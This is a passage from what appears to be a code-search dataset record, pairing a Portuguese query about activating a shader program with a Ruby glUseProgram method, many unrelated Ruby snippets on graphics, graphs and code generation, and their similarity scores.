'models'\n\t\tlibexec.install 'shaders'\n\t\t#bin.install_symlink libexec/\"waifu2x-converter-glsl\"\n\t\tDir.mkdir bin\n\t\tFile.open(bin/\"waifu2x-converter-glsl\",'w'){|f|\n\t\t\tf.puts(\"#!/bin/sh\")\n\t\t\tf.puts(\"echo 'note: argument paths needs to be absolute.'\")\n\t\t\t# I personally think taking models/shaders from \"current directory\" is a bug...\n\t\t\tf.puts(\"cd '\"+libexec.to_s+\"'\")\n\t\t\tf.puts((libexec/\"waifu2x-converter-glsl\").to_s+' \"$@\"')\n\t\t}\n\tend", "def add_vertex!(vertex)\n\tend", "def add_vertex!(vertex)\n\tend", "def import\n fragments.each(&:destroy)\n File.open(bin_file_name, \"rb\") do |f|\n order = 0\n new_lines = 0\n until f.eof?\n new_lines += import_next_object(f, order)\n order += 1\n end\n update! lines: new_lines\n end\n add_locations\n end", "def init_vertex_buffers\n\t\t#vao_id = GL30.gl_gen_vertex_arrays\n\t\t#GL30.gl_bind_vertex_array(vao_id)\n\n\t\t@buffer_id = GL15.gl_gen_buffers\n\t\tGL15.gl_bind_buffer(GL15::GL_ARRAY_BUFFER, @buffer_id)\n\n\t\tfloat_buffer = BufferUtils.create_float_buffer(@vertex_positions.size)\n\t\tfloat_buffer.put(@vertex_positions.to_java(:float))\n\n\t\t#MUST FLIP THE BUFFER! THIS PUTS IT BACK TO THE BEGINNING!\n\t\tfloat_buffer.flip\n\n\t\tGL15.gl_buffer_data(GL15::GL_ARRAY_BUFFER, float_buffer, GL15::GL_STATIC_DRAW)\n\n\t\t# cleanup\n\t\tGL15.gl_bind_buffer(GL15::GL_ARRAY_BUFFER, 0)\n\t\t#GL30.gl_bind_vertex_array(0)\n\tend", "def writeVertexBufferObjectFiles (typeName, structHash)\n\tcurrentDate = Time.new.strftime(\"%Y/%m/%d\")\n\tcurrentYear = Time.new.strftime(\"%Y\")\n\t\n\tif typeName =~ /NezInstanceAttribute(\\w+)/ then\n\t\tclassName = 'NezInstanceAttributeBufferObject'+$1\n\telse\n\t\tclassName = 'NezInstanceAttributeBufferObject'+typeName\n\tend\n\n\tFile.open(className+'.h', 'w') do |f2|\n\t\tf2.puts('//')\n\t\tf2.puts('// '+className+'.h')\n\t\tf2.puts('// Aletteration3')\n\t\tf2.puts('//')\n\t\tf2.puts('// Created by David Nesbitt on '+currentDate+'.')\n\t\tf2.puts('// Copyright (c) '+currentYear+' David Nesbitt. All rights reserved.')\n\t\tf2.puts('//')\n\t\tf2.puts('')\n\t\tf2.puts('#import \"NezInstanceAttributeBufferObject.h\"')\n\t\tf2.puts('')\n\t\tf2.puts('@interface '+className+' : NezInstanceAttributeBufferObject')\n\t\tf2.puts('')\n\t\tf2.puts('@property (readonly, getter = getInstanceAttributeList) '+typeName+' *instanceAttributeList;')\n\t\tf2.puts('')\n\t\tf2.puts('@end')\n\tend\n\n\tFile.open(className+'.m', 'w') do |f2|\n\t\tf2.puts('//')\n\t\tf2.puts('// '+className+'.m')\n\t\tf2.puts('// Aletteration3')\n\t\tf2.puts('//')\n\t\tf2.puts('// Created by David Nesbitt on '+currentDate+'.')\n\t\tf2.puts('// Copyright (c) '+currentYear+' David Nesbitt. All rights reserved.')\n\t\tf2.puts('//')\n\t\tf2.puts('')\n\t\tf2.puts('#import \"'+className+'.h\"')\n\t\tf2.puts('#import \"NezGLSLProgram.h\"')\n\t\tf2.puts('')\n\t\tf2.puts('@implementation '+className)\n\t\tf2.puts('')\n\t\tf2.puts('-(instancetype)initWithInstanceCount:(GLsizei)instanceCount {')\n\t\tf2.puts('\tif ((self = [super initWithInstanceCount:instanceCount])) {')\n\t\tf2.puts('\t\t'+typeName+' *aDst = self.instanceAttributeList;');\n\t\tf2.puts('\t\tfor (NSInteger i=0; i<instanceCount; i++) {')\n\t\tstructHash.each_key {|key|\n\t\t\tif structHash[key] == 'GLKMatrix4' then\n\t\tf2.puts('\t\t\taDst[i].'+key+' = GLKMatrix4Identity;')\n\t\t\telsif structHash[key] == 'GLKVector2' then\n\t\tf2.puts('\t\t\taDst[i].'+key+' = GLKVector2Make(0.0f, 0.0f);')\n\t\t\telsif structHash[key] == 'GLKVector3' then\n\t\tf2.puts('\t\t\taDst[i].'+key+' = GLKVector3Make(0.0f, 0.0f, 0.0f);')\n\t\t\telsif structHash[key] == 'GLKVector4' then\n\t\tf2.puts('\t\t\taDst[i].'+key+' = GLKVector4Make(0.0f, 0.0f, 0.0f, 0.0f);')\n\t\t\telsif structHash[key] == 'GLKQuaternion' then\n\t\tf2.puts('\t\t\taDst[i].'+key+' = GLKQuaternionIdentity;')\n\t\t\telsif structHash[key] == 'float' then\n\t\tf2.puts('\t\t\taDst[i].'+key+' = 0.0f;')\n\t\t\tend\n\t\t}\n\t\tf2.puts('\t\t}')\n\t\tf2.puts('\t}')\n\t\tf2.puts('\treturn self;')\n\t\tf2.puts('}')\n\t\tf2.puts('')\n\t\tf2.puts('-(GLsizei)getSizeofInstanceAttribute {')\n\t\tf2.puts('\treturn sizeof('+typeName+');')\n\t\tf2.puts('}')\n\t\tf2.puts('')\n\t\tf2.puts('-('+typeName+'*)getInstanceAttributeList {')\n\t\tf2.puts('\treturn ('+typeName+'*)_instanceData.bytes;')\n\t\tf2.puts('}')\n\t\tf2.puts('')\n\t\tf2.puts('-(void)enableInstanceVertexAttributesForProgram:(NezGLSLProgram*)program {')\n\t\tstructHash.each_key {|key|\n\t\t\tif structHash[key] == 'float' then\n\t\tf2.puts('\t[self enableInstanceVertexAttributeWithLocation:program.a_'+key+' size:1 stride:self.sizeofInstanceAttribute offset:(void*)offsetof('+typeName+', '+key+')];')\n\t\t\t\telsif structHash[key] == 'GLKVector2' then\n\t\tf2.puts('\t[self enableInstanceVertexAttributeWithLocation:program.a_'+key+' size:2 stride:self.sizeofInstanceAttribute offset:(void*)offsetof('+typeName+', '+key+')];')\n\t\t\t\telsif structHash[key] == 'GLKVector3' then\n\t\tf2.puts('\t[self enableInstanceVertexAttributeWithLocation:program.a_'+key+' size:3 stride:self.sizeofInstanceAttribute offset:(void*)offsetof('+typeName+', '+key+')];')\n\t\t\t\telsif structHash[key] == 'GLKVector4' then\n\t\tf2.puts('\t[self enableInstanceVertexAttributeWithLocation:program.a_'+key+' size:4 stride:self.sizeofInstanceAttribute offset:(void*)offsetof('+typeName+', '+key+')];')\n\t\t\t\telsif structHash[key] == 'GLKQuaternion' then\n\t\tf2.puts('\t[self enableInstanceVertexAttributeWithLocation:program.a_'+key+' size:4 stride:self.sizeofInstanceAttribute offset:(void*)offsetof('+typeName+', '+key+')];')\n\t\t\t\telsif structHash[key] == 'GLKMatrix4' then\n\t\tf2.puts('\t[self enableInstanceVertexAttributeWithLocation:program.a_'+key+'Column0 size:4 stride:self.sizeofInstanceAttribute offset:(void*)offsetof('+typeName+', '+key+'.m00)];')\n\t\tf2.puts('\t[self enableInstanceVertexAttributeWithLocation:program.a_'+key+'Column1 size:4 stride:self.sizeofInstanceAttribute offset:(void*)offsetof('+typeName+', '+key+'.m10)];')\n\t\tf2.puts('\t[self enableInstanceVertexAttributeWithLocation:program.a_'+key+'Column2 size:4 stride:self.sizeofInstanceAttribute offset:(void*)offsetof('+typeName+', '+key+'.m20)];')\n\t\tf2.puts('\t[self enableInstanceVertexAttributeWithLocation:program.a_'+key+'Column3 size:4 stride:self.sizeofInstanceAttribute offset:(void*)offsetof('+typeName+', '+key+'.m30)];')\n\t\t\tend\n\t\t}\n\t\tf2.puts('}')\n\t\tf2.puts('')\n\t\tf2.puts('@end')\n\tend\nend", "def parse_line line\n cmd, *args = line.split(/\\s+/)\n case cmd\n when 'v' then add_vertex args\n when 'f' then add_face args\n end\n end", "def probe_ship_gen(probe_count, probe_array)\n text = \"\"\n probe_count.times.with_index do |v|\n temp = (\"a\"..\"zz\").to_a[v]\n text += \"var author_probe_#{temp} = new Ship({\n material: new THREE.SpriteMaterial({map: probe_texture, color: 0xffffff, fog: true}),\n dis_at_end: true,\n name: \\\"author_probe_#{temp}\\\"\n});\nscene.add(author_probe_#{temp}.spr);\nauthor_probe_#{temp}.spr.visible = false;\nprobes[probes.length] = author_probe_#{temp};\nauthor_probe_#{temp}.spr.scale.set(2,2,2);\\n\\n\"\n probe_array.push(\"author_probe_#{temp}\")\n end\n return text\nend", "def run_addMolid2File()\n ifn = @work_dir + '_1.sdf'\n ofn = @work_dir + '_2.sdf'\n addMolid2File(ifn, ofn)\n puts \"\\nwrite to #{ofn}\\n\"\n end", "def fragment(name, on, &block)\n Fragment.new(name, on, &block)\n end", "def debug_in_temp_file(program)\n example_file.write(program)\n example_file.close\n\n load(example_path)\n end", "def ident; glLoadIdentity; end", "def read_file(filename, graph)\n File.foreach(filename) do |x|\n id, data, neighbors = vertex_creation(x)\n graph.add_vertex(id, data, neighbors)\n end\n graph\nend", "def set_fbo\n @fbo = Fbo.find(params[:id])\n end", "def process_fragment_node(node)\n append(\"#{\n @as_module ? \"import * as HTX from '#{@import_path}'\\n\\n\"\n : \"#{@assign_to}['#{@name}'] = ((HTX) => {\\n#{@indent}\"\n }function render($renderer) {\\n\")\n\n @indent = @base_indent * 2 unless @as_module\n\n node.children.each do |child|\n process(child)\n end\n\n append(\"\\n\\n#{@indent}return $renderer.rootNode\")\n\n @indent = @as_module ? '' : @base_indent\n\n append(\n <<~JS\n\n #{@indent}}\n\n #{@indent}#{@as_module ? 'export' : 'return'} function Template(context) {\n #{@indent}#{@base_indent}this.render = render.bind(context, new HTX.Renderer)\n #{@indent}}#{\n \"\\n})(globalThis.HTX ||= {});\" unless @as_module}\n JS\n )\n\n flush\n end", "def get_frustum_material\n materials = Sketchup.active_model.materials\n material = materials[\"Camera_FOV\"]\n if( not material )\n material = materials.add \"Camera_FOV\"\n material.color = [211, 211, 211]\n material.alpha = 0.25\n end\n material\nend", "def add_to_assets(asset_str)\n append_to_file('config/initializers/assets.rb', \"Rails.application.config.assets.precompile += %w( #{asset_str} )\\n\") unless asset_str.blank?\nend", "def graphic(number)\n File.open(\"#{frame_id(number)}.svg\", \"w\") do |file|\n file.write render(\"bit101_style.erb\")\n end\n\n system(\"convert #{frame_id(number)}.svg #{frame_id(number)}.jpg\")\n # system(\"java -jar ~/Downloads/batik-1.7/batik-rasterizer.jar #{frame_id(number)}.svg\")\n File.unlink(\"#{frame_id(number)}.svg\")\n\n print \"+\"\nend", "def gen_star(package_map)\n text = \"//#{package_map[\"name\"]}\nvar #{package_map[\"indexed_name\"]} = new Celestial({\n name: \\\"#{package_map[\"indexed_name\"]}\\\",\n geometry: new THREE.SphereGeometry(#{package_map[\"radius\"]+0.01}, 12, 12),\n material: new THREE.MeshBasicMaterial({color: 0xffdd22, map: star_texture}),\n light: new THREE.PointLight( 0xffddbb, 1, 0 ),\n rotx: 0.01, \n roty: 0.01, \n rotz: 0.01});\ncelestials[celestials.length] = #{package_map[\"indexed_name\"]};\\n\\n\"\n return text\nend", "def write_fragment(name, content, options = nil)\n return unless perform_caching\n\n key = fragment_cache_key(name)\n self.class.benchmark \"Cached fragment: #{key}\" do\n fragment_cache_store.write(key, content, options)\n end\n content\n end", "def initialize_fragment_libraries\n operations.each do |op|\n fragment_library = FragmentLibrary.new(\n known_item: op.input(TEMPLATE).item,\n sample: op.output(FRAGMENT).sample\n )\n fragment_library.detect_provenance\n fragment_library.detect_oligo_pools\n\n fragment_library.set_primers(\n forward_primer: op.input(FORWARD_PRIMER).sample,\n reverse_primer: op.input(REVERSE_PRIMER).sample\n )\n\n if fragment_library.errors.present?\n fragment_library.errors.each { |k,v| op.error(k,v) }\n else\n op.temporary[:fragment_library] = fragment_library\n end\n end\n end", "def flamegraph_mode=(_arg0); end", "def add_buffers!(name)\n Vedeu::Buffers::Buffer.new(name: name).store\n end", "def add_buffers!(name)\n Vedeu::Buffers::Buffer.new(name: name).store\n end", "def start_vertex_normal\n end", "def load program_binary\n ram[code_start, program_binary.length] = program_binary\n self\n end", "def assets_manifest=(_arg0); end", "def assets_manifest=(_arg0); end", "def add_vertex(node)\n @structure[node] ||= []\n end", "def add_vertex(location)\n location = Google::OptionsHelper.to_location(location)\n self << \"#{self.var}.insertVertex(#{self.last_vertex_index}, #{location})\"\n end", "def write_prog_header(link_f, program_header)\n\t\t\twsize = 0\n\t\t\twsize += link_f.write(program_header[:p_type].to_bin32)\n\t\t\twsize += link_f.write(program_header[:p_offset].to_bin32)\n\t\t\twsize += link_f.write(program_header[:p_vaddr].to_bin32)\n\t\t\twsize += link_f.write(program_header[:p_paddr].to_bin32)\n\t\t\twsize += link_f.write(program_header[:p_filesz].to_bin32)\n\t\t\twsize += link_f.write(program_header[:p_memsz].to_bin32)\n\t\t\twsize += link_f.write(program_header[:p_flags].to_bin32)\n\t\t\twsize += link_f.write(program_header[:p_align].to_bin32)\n\t\t\twsize\n\t\tend", "def add_vertex(payload)\n @v << Vertex.new(payload)\n end", "def manifest_file_create_command(id, manifest_src)\n saver.file_create_command(manifest_filename(id), manifest_src)\n end", "def create_line(frag)\n who = fragments.find_by order: frag.order - 1, f_type: 24\n Line.create! fragment_id: frag.id, who: (who.nil? ? nil : who.orig_text), content: frag.orig_text\n 1\n end", "def precompile_assets=(_arg0); end", "def add_instruction(*parts)\n @program.add Verneuil::Instruction.new(*parts)\n end", "def test_bb_addMolid2File\n ifn = @@env + '_1.sdf'\n ofn = @@env + '_2.sdf'\n addMolid2File(ifn, ofn)\n puts \"\\nwrite to #{ofn}\\n\"\n end", "def fragment(name, *args, &block)\n if block_given?\n warn \"fragment definition form (with block) is deprecated. Use #def_fragment instead\"\n def_fragment(name, *args, &block)\n else\n use_fragment(name, *args)\n end\n end", "def init_with_program(prog); end", "def parallax_blend(id, v)\n $game_map.parallaxes[id].blend_type = v\n end", "def putFragmentBlock\n puts_tag(\"fragments\") { yield }\n end", "def generarImagen()\n\t\tFile.open(@programa+'.pbm', 'w') do |f2|\n\t\t\tf2.puts \"P1\"\n\t\t\tf2.puts \"#{@tam_ancho} #{@tam_alto}\"\n \t\t\t@tam_alto.times do |i|\n \t\t\t\ts = \"\"\n\t\t\t\t@tam_ancho.times do |j|\n\t\t\t\t\ts << @plano[i][j].to_s + \" \"\n\t\t\t\tend\n\t\t\t\tf2.puts s\n\t\t\tend\n\t\tend\n\tend", "def run(content, params = {})\n # Add filename to load path\n Uglifier.new(params).compile(content)\n end", "def gen_planet(class_map)\n class_map[\"colour\"] = PLANET_COLOURS[class_map[\"type\"].downcase]\n text = \"//#{class_map[\"package\"]} class: #{class_map[\"name\"]}\n#{class_map[\"indexed_name\"]}.setValues({\n name: \\\"#{class_map[\"indexed_name\"]}\\\",\n geometry: new THREE.SphereGeometry(#{class_map[\"radius\"]+0.01}, 10, 10),\n material: new THREE.MeshLambertMaterial({emissive: 0x888888, color: #{class_map[\"colour\"]}, map: planet_texture}),\n origin: #{class_map[\"package\"]}, \n orbitradx: #{(Random.rand(2) == 0)? \"\" : \"-\"}#{class_map[\"orbit\"]}, \n orbitrady: #{(Random.rand(2) == 0)? \"\" : \"-\"}#{class_map[\"orbit\"]}, \n #{(Random.rand(2) == 0)? \"ysin: false\" : \"xsin:false\"},\n rotx: 0.01, \n roty: 0.01, \n rotz: 0.01,\n tfactor: #{1 + Random.rand}});\ncelestials[celestials.length] = #{class_map[\"indexed_name\"]};\\n\\n\"\n return text\nend", "def add_vertex(v)\n array = []\n array[v] = 0\n @vertices[v] ||= array\n end", "def init\n GL.ClearColor(0.0, 0.1, 0.2, 0.0)\n GL.ShadeModel(GL::SMOOTH)\n\n GL.Enable(GL::LIGHTING)\n GL.Enable(GL::LIGHT0)\n GL.Enable(GL::BLEND)\n GL.Enable(GL::NORMALIZE)\n\n GL::DepthFunc(GL::LESS);\n GL::ShadeModel(GL::SMOOTH);\n GL::BlendFunc(GL::ONE, GL::ONE)\n\n lm_ambient = [ 0.2, 0.2, 0.2, 0.0 ];\n\n GL.Light(GL::LIGHT0, GL::POSITION, [4, 4, 4])\n GL.Light(GL::LIGHT0, GL::POSITION, [-2, 6, 3])\n #GL::LightModel(GL::LIGHT_MODEL_AMBIENT, lm_ambient);\n GL::LightModel(GL::LIGHT_MODEL_TWO_SIDE, 2);\n\n $ruby = RubyRuby.new\n GL::NewList($rubyList, GL::COMPILE)\n $ruby.render\n GL::EndList()\nend", "def update!(**args)\n @vertex_offsets = args[:vertex_offsets] if args.key?(:vertex_offsets)\n @z_order = args[:z_order] if args.key?(:z_order)\n end", "def create\n @fragment = Fragment.new(fragment_params)\n @fragment.user = @current_user\n @fragment.user_name = @current_user.name\n respond_to do |format|\n if @fragment.save\n format.html { redirect_to admin_fragment_path(@fragment), notice: '片段创建成功.' }\n format.json { render json: @fragment, status: :created, location: @fragment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @fragment.errors, status: :unprocessable_entity }\n end\n end\n end", "def add(pointer, pmodes)\n args = get_parameters(pointer, pmodes)\n @ram[args[2]] = args[0] + args[1]\n pointer + 4\n end", "def addFrameNewBuffer fileLocation, fileName, fileContent, rights, serverSide, line, overWrite = false\n buffer = Buffer.new(fileLocation, fileName, fileContent,\n rights, serverSide, self)\n cursor = Cursor.new(self, buffer.fileContent, line)\n frame = Frame.new(cursor, overWrite)\n @frames[buffer] = frame\n buffer.id\n end", "def add_vertex(name, edges)\n @vertices[name] = edges\n end", "def process(base_file, deps)\n opts = self.class.engine_opts.merge syntax: @material.file_extension.to_sym,\n load_paths: [File.expand_path('..', base_file)],\n cache_store: ::Sass::CacheStores::Filesystem.new(\"#{@context.cache_path}/.sass\"),\n filename: base_file\n\n engine = ::Sass::Engine.new super(base_file, deps), opts\n output = engine.render\n\n engine.dependencies.each do |dependency|\n deps << ::Gluey::Dependencies::SingleFile.new(dependency.options[:filename]).actualize\n end\n\n output\n end", "def color=(array)\n shader.set_float_uniform('color', array)\n return self\n end", "def vertex_creation(line)\n x = line.chomp(\"\\n\").split(';')\n id = x[0].to_i\n data = x[1]\n if x[2]\n neighbors = x[2].split(',')\n neighbors = neighbors.map(&:to_i)\n else\n neighbors = []\n end\n [id, data, neighbors]\nend", "def gl(z=nil, &custom_gl_code); end", "def generate_sdf3(graph,graphProperties)\n#change directory\nDir.chdir(\"/home/blue/sdf3/build/release/Linux/bin\")#Note:Please change this path accroding to your own file location.Respectively,the path 'sdf3/build/release/Linux/bin' is the default path which holds the executed commands and the output files.\n\n\npath = '/home/blue/sdf3/sdf/testbench/option.opt'#path is the original option file location,used to cover the temp.opt\ndst = '/home/blue/sdf3/sdf/testbench/temp.opt'#dst is the path of option file which used to rewrite by user.Note:change these two paths accroding to your own file location. \n\nFileUtils.cp path,dst#initialize temp file,making its every attribute to unknown as 'X'\n\nfile = File.open(dst,\"r\")\n content = file.read\n file.close\n\n #replace the 'X' with the data previously set in graph and graphProperties\n content.gsub!(/actors nr=\"X\"/,'actors nr=\"'+graph.actors.nr+'\"')\n content.gsub!(/degree avg=\"X\" var=\"X\" min=\"X\" max=\"X\"/,'degree avg=\"'+graph.degree.avg+'\" var=\"'+graph.degree.var+'\" min=\"'+graph.degree.min+'\" max=\"'+graph.degree.max+'\"')\n content.gsub!(/rate avg=\"X\" var=\"X\" min=\"X\" max=\"X\" repetitionVectorSum=\"X\"/,'rate avg=\"'+graph.rate.avg+'\" var=\"'+graph.rate.var+'\" min=\"'+graph.rate.min+'\" max=\"'+graph.rate.max+'\" repetitionVectorSum=\"'+graph.rate.repetitionVectorSum+'\"')\n content.gsub!(/initialTokens prop=\"X\"/,'initialTokens prop=\"'+graph.initial.tokens+'\"')\n content.gsub!(/structure stronglyConnected=\"X\" acyclic=\"X\"/,'structure stronglyConnected=\"'+graph.structure.stronglyConnected+'\" acyclic=\"'+graph.structure.acyclic+'\"')\n\n content.gsub!(/procs nrTypes=\"X\" mapChance=\"X\"/,'procs nrTypes=\"'+graphProperties.proc.nrTypes+'\" mapChance=\"'+graphProperties.proc.mapChance+'\"')\n content.gsub!(/execTime avg=\"X\" var=\"X\" min=\"X\" max=\"X\"/,'execTime avg=\"'+graphProperties.execTime.avg+'\" var=\"'+graphProperties.execTime.var+'\" min=\"'+graphProperties.execTime.min+'\" max=\"'+graphProperties.execTime.max+'\"')\n content.gsub!(/stateSize avg=\"X\" var=\"X\" min=\"X\" max=\"X\"/,'stateSize avg=\"'+graphProperties.stateSize.avg+'\" var=\"'+graphProperties.stateSize.var+'\" min=\"'+graphProperties.stateSize.min+'\" max=\"'+graphProperties.stateSize.max+'\"')\n content.gsub!(/tokenSize avg=\"X\" var=\"X\" min=\"X\" max=\"X\"/,'tokenSize avg=\"'+graphProperties.tokenSize.avg+'\" var=\"'+graphProperties.tokenSize.var+'\" min=\"'+graphProperties.tokenSize.min+'\" max=\"'+graphProperties.tokenSize.max+'\"')\n content.gsub!(/bandwidthRequirement avg=\"X\" var=\"X\" min=\"X\" max=\"X\"/,'bandwidthRequirement avg=\"'+graphProperties.bandwidthRequirement.avg+'\" var=\"'+graphProperties.bandwidthRequirement.var+'\" min=\"'+graphProperties.bandwidthRequirement.min+'\" max=\"'+graphProperties.bandwidthRequirement.max+'\"')\n content.gsub!(/latencyRequirement avg=\"X\" var=\"X\" min=\"X\" max=\"X\"/,'latencyRequirement avg=\"'+graphProperties.latencyRequirement.avg+'\" var=\"'+graphProperties.latencyRequirement.var+'\" min=\"'+graphProperties.latencyRequirement.min+'\" max=\"'+graphProperties.latencyRequirement.max+'\"')\n content.gsub!(/autoConcurrencyDegree=\"X\" scaleFactor=\"X\"/,'autoConcurrencyDegree=\"'+graphProperties.throughputConstraint.autoConcurrencyDegree+'\" scaleFactor=\"'+graphProperties.throughputConstraint.scaleFactor+'\"')\n\nFile.open(dst,\"w\"){|f| f << content}#write the replacement to temp file\n\n\n`./sdf3generate-sdf --settings /home/blue/sdf3/sdf/testbench/temp.opt --output -temp`#command line to generate XML file\n`./sdf3print-sdf --graph /home/blue/sdf3/build/release/Linux/bin/-temp --format dot --output -tempfile`#command line to generate graph.Note:Please change these two paths accroding to your own file location. \nend", "def install\n\t\tsystem 'make'\n\t\tlibexec.install 'waifu2x_glsl'\n\t\tlibexec.install 'models'\n\t\tlibexec.install 'vgg_7'\n\t\tbin.install_symlink libexec/\"waifu2x_glsl\"\n\tend", "def remove_vertex(id)\n # YOUR WORK HERE\n end", "def add_vertex(id, data, neighbors)\n @vertices << Vertex.new(id, data, neighbors) unless find_vert(id)\n end", "def add_vertex(v)\n raise NotImplementedError\n end", "def remesh\n cpp_remesh()\n end", "def add_vertex(v)\n @forward_edges_with_info[v] ||= IdentityHash.new\n @backward_edges[v] ||= IdentityHash.new\n end", "def add_vertex coords\n vertices << coords.map(&:to_f)\n end", "def compile_fragment(doc)\n evaluate_option(:writer, doc) do\n value = render_filter(get)\n write_fragment(doc, value)\n end\n end", "def gen_route(dep_map)\n text = \"// Dependency Route: #{dep_map[\"class_indexed_name\"]} -> #{dep_map[\"dclass_indexed_name\"]}\\n\"\n temp = 0\n eta = 100\n if(dep_map[\"strength\"].nil?)\n dep_map[\"strength\"] = DEFAULT_SHIPS\n end\n while(temp < dep_map[\"strength\"])\n text += \"var #{dep_map[\"indexed_name\"]}_#{temp} = new Ship({\n name: \\\"#{dep_map[\"indexed_name\"]}_#{temp}\\\",\n material: new THREE.SpriteMaterial({map: trade_texture, color: 0xffffff, fog: true}),\n origin: #{dep_map[\"class_indexed_name\"]}.mesh,\n target: #{dep_map[\"dclass_indexed_name\"]},\n offset: #{eta*temp/dep_map[\"strength\"]},\n eta: #{eta},\n loop: true});\n#{dep_map[\"class_indexed_name\"]}.trade[#{dep_map[\"class_indexed_name\"]}.trade.length] = #{dep_map[\"indexed_name\"]}_#{temp};\n#{dep_map[\"indexed_name\"]}_#{temp}.spr.scale.set(2,2,1);\\n\\n\"\n temp += 1\n end\n return text\nend", "def create!(path, args)\n return usage if /\\?/ =~ path || /--help/ =~ path\n main_file = File.basename(path, '.rb') # allow uneeded extension input\n # Check to make sure that the main file doesn't exist already\n already_exist(path)\n @name = StringExtra.new(main_file).camelize\n writer = SketchWriter.new(main_file)\n @title = StringExtra.new(main_file).titleize\n @width, @height = args[0], args[1]\n @mode = args[2].upcase unless args[2].nil?\n template = @mode.nil? ? class_template : class_template_mode\n writer.save(template)\n end", "def addVertex (name)\n @vertices[name] ||= Array.new\n end", "def addVertex (name)\n @vertices[name] ||= Array.new\n end", "def update!(**args)\n @strips = args[:strips] if args.key?(:strips)\n @vertex_offsets = args[:vertex_offsets] if args.key?(:vertex_offsets)\n end", "def update!(**args)\n @strips = args[:strips] if args.key?(:strips)\n @vertex_offsets = args[:vertex_offsets] if args.key?(:vertex_offsets)\n end", "def update!(**args)\n @vertex_indices = args[:vertex_indices] if args.key?(:vertex_indices)\n end", "def update!(**args)\n @vertex_indices = args[:vertex_indices] if args.key?(:vertex_indices)\n end", "def add_vertex(vert)\n\t\tsuper(vert)\n\t\t@reverse = self.reverse\n\tend", "def write_raster_file(fn)\n raise(\"File not exist\") unless File.file?(fn)\n puts \"> oled-exp draw #{fn}\" if @verbose\n system(\"oled-exp\",\"draw\",fn)\n #sync_spawn(\"oled-exp\",@opt,\"draw\",fn) >> issue with file location...\n end", "def initialize(vk, viewport: { }, scissor: { })\n @vk = vk\n @shader_stages = []\n @layouts = []\n @constant_ranges = []\n @descriptors = []\n @input = {\n topology: :triangles,\n primitive_restart: false\n }\n @viewport = {\n left: 0,\n top: 0,\n width: 640,\n height: 480,\n min_depth: 0,\n max_depth: 1\n }.merge(viewport)\n @scissor = {\n left: 0,\n top: 0,\n width: 0xffffffff,\n height: 0xffffffff\n }.merge(scissor)\n @rasterizer = {\n depth_clamp: false,\n discard_all: false,\n polygon_mode: :fill,\n line_width: 1.0,\n cull_mode: :back,\n front_face: :counter_clockwise,\n depth_bias: false,\n depth_bias_clamp: 0,\n depth_bias_constant: 0,\n depth_bias_slope: 0\n }\n @multisampling = {\n sample_shading: false,\n samples: 1,\n min_sample_shading: 0.2,\n sample_mask: nil,\n alpha_to_coverage: false,\n alpha_to_one: false\n }\n @blending = {\n enabled: true,\n color_writes: [ :red, :green, :blue, :alpha ],\n src_color: :src_alpha,\n dst_color: :one_minus_src_alpha,\n src_alpha: :one,\n dst_alpha: :zero,\n color_op: :add,\n alpha_op: :add\n }\n @binding_descriptions = []\n @attribute_descriptions = []\n @dynamic_states = []\n @specialization_constants = {}\n end", "def add_assetfile\n create_file \"Assetfile\", <<-RUBY.strip_heredoc\n # NOTE: The Assetfile will eventually be replaced with an asset-pipeline\n # compatible API. This is mostly important so that plugins can easily\n # inject into the pipeline.\n #\n # Depending on demand and how the API shakes out, we may retain the\n # Assetfile API but pull in the information from the Rails API.\n\n input \"app/assets\"\n output \"public\"\n\n match \"*.js\" do\n concat \"application.js\"\n end\n\n match \"*.css\" do\n concat \"application.css\"\n end\n\n # copy any remaining files\n concat\n RUBY\n end" ]
[ "0.6816895", "0.65912825", "0.6151664", "0.60401577", "0.59396833", "0.5902404", "0.5325893", "0.52054155", "0.511485", "0.49794608", "0.49179956", "0.49107358", "0.47824085", "0.47394258", "0.4709167", "0.4672516", "0.46669614", "0.4666518", "0.46074077", "0.4606476", "0.46046174", "0.45951083", "0.45187196", "0.45172828", "0.44972518", "0.44961426", "0.44961426", "0.4495992", "0.44912848", "0.44871092", "0.4460591", "0.44523913", "0.44292426", "0.44190145", "0.44022706", "0.44013387", "0.43582654", "0.43258196", "0.4321719", "0.4314295", "0.43105304", "0.43066454", "0.43048534", "0.43013895", "0.42944297", "0.42845345", "0.42839146", "0.42839146", "0.42785504", "0.42735377", "0.42682394", "0.42682394", "0.42675167", "0.42663786", "0.42594343", "0.4247617", "0.4243724", "0.42341623", "0.42329386", "0.422848", "0.42242503", "0.42226696", "0.42224777", "0.42195076", "0.42061645", "0.4200937", "0.41984934", "0.41832206", "0.41755033", "0.41748542", "0.4173377", "0.41650325", "0.41582516", "0.41528147", "0.41445813", "0.41332334", "0.413159", "0.41273558", "0.41246608", "0.41106066", "0.410995", "0.4108768", "0.41029474", "0.40918568", "0.40909263", "0.40887028", "0.40827817", "0.4081548", "0.40814972", "0.4080222", "0.40775207", "0.40775207", "0.40686625", "0.40686625", "0.40679535", "0.40679535", "0.40641415", "0.40583625", "0.40486383", "0.40468332" ]
0.79679126
0
Ativa o programa de shaders
def use glUseProgram @id end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def init_shaders(widget)\n context = widget.context\n\n if context.use_es?\n vertex_path = \"/glarea/glarea-gles.vs.glsl\"\n fragment_path = \"/glarea/glarea-gles.fs.glsl\"\n else\n vertex_path = \"/glarea/glarea-gl.vs.glsl\"\n fragment_path = \"/glarea/glarea-gl.fs.glsl\"\n end\n src_vertex = Gio::Resources.lookup_data(vertex_path, 0)\n src_fragment = Gio::Resources.lookup_data(fragment_path, 0)\n vertex = create_shader(GL_VERTEX_SHADER, src_vertex)\n return [0, nil] if vertex.zero?\n fragment = create_shader(GL_FRAGMENT_SHADER, src_fragment)\n return [0, nil] if fragment.zero?\n\n program = glCreateProgram\n glAttachShader(program, vertex)\n glAttachShader(program, fragment)\n glLinkProgram(program)\n # Check if the program is valid\n linked_buf = \" \"\n glGetProgramiv(program, GL_LINK_STATUS, linked_buf)\n status = linked_buf.unpack(\"L\")[0]\n if status.zero?\n log_len = \" \"\n glGetShaderiv(program, GL_INFO_LOG_LENGTH, log_len)\n len = log_len.unpack(\"L\")[0]\n info_log = \" \" * (len + 1)\n glGetProgramInfoLog(program, len, nil, info_log)\n STDERR.puts \"Linking failure:\\n#{info_log}\\n\"\n glDeleteProgram(program)\n glDeleteShader(vertex)\n glDeleteShader(fragment)\n program = 0\n end\n mvp = glGetUniformLocation(program, \"mvp\")\n [program, 